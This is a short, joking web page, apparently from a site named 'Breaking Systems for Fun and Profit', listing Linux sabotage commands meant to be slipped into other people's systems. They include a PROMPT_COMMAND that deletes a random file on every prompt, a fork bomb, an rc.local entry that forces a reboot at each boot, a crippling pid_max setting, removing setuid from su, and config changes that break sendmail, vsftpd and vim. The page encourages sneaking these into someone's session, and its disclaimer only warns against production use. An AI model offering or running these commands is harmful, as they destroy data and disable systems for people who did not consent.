Who needs root anyway?
chmod u-s /bin/su
Breaking Systems for Fun and Profit
Failure is always an option.
Nice and quiet on the email front
Do you hate all those incoming and outgoing emails as much as we do? Are you running sendmail? In that case help is at hand:
chmod g+w /
Better learn to type fast…
Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:
export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'
Fun with Vim and Files
Add this little bugger to either /etc/vimrc or to an induhvidual’s ~/.vimrc
:wqa
I’m sorry, but I can’t let you do that Dave…
echo "kernel.pid_max = 132" >> /etc/sysctl.conf
What ftp server?
In /etc/vsftpd/vsftpd.conf add or change the following lines:
chown_uploads=YES chown_username=daemon<space>
Where <space> is an actual space character before the end of the line.
Beginners
Run the following command and reboot :
echo 'echo b > /proc/sysrq-trigger ' >> /etc/rc.local
Meet the Prompt of Doom
Try to sneak this one into someone’s session and watch the hilarity ensue:
export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'
Classic
Just enter this little baby into any account where ulimit -u reports unlimited
:() { :|:& };:
Disclaimer
It's a shame that we actually have to write a disclaimer, but experience tells us that most of you out there are idiots. Well not you of course, because you are actually reading the disclaimer. Here goes:
Neither breakingsystemsforfunandprofit.com nor any of its admins/editors/contributors can be held liable for any damages resulting from the use or lack of use of any information or advice presented here in any way.
Failure to realize that any information presented here for the purpose of breaking systems should not be used on any production or otherwise important systems will result in us making fun of you and your unfortunate offspring should you have any.
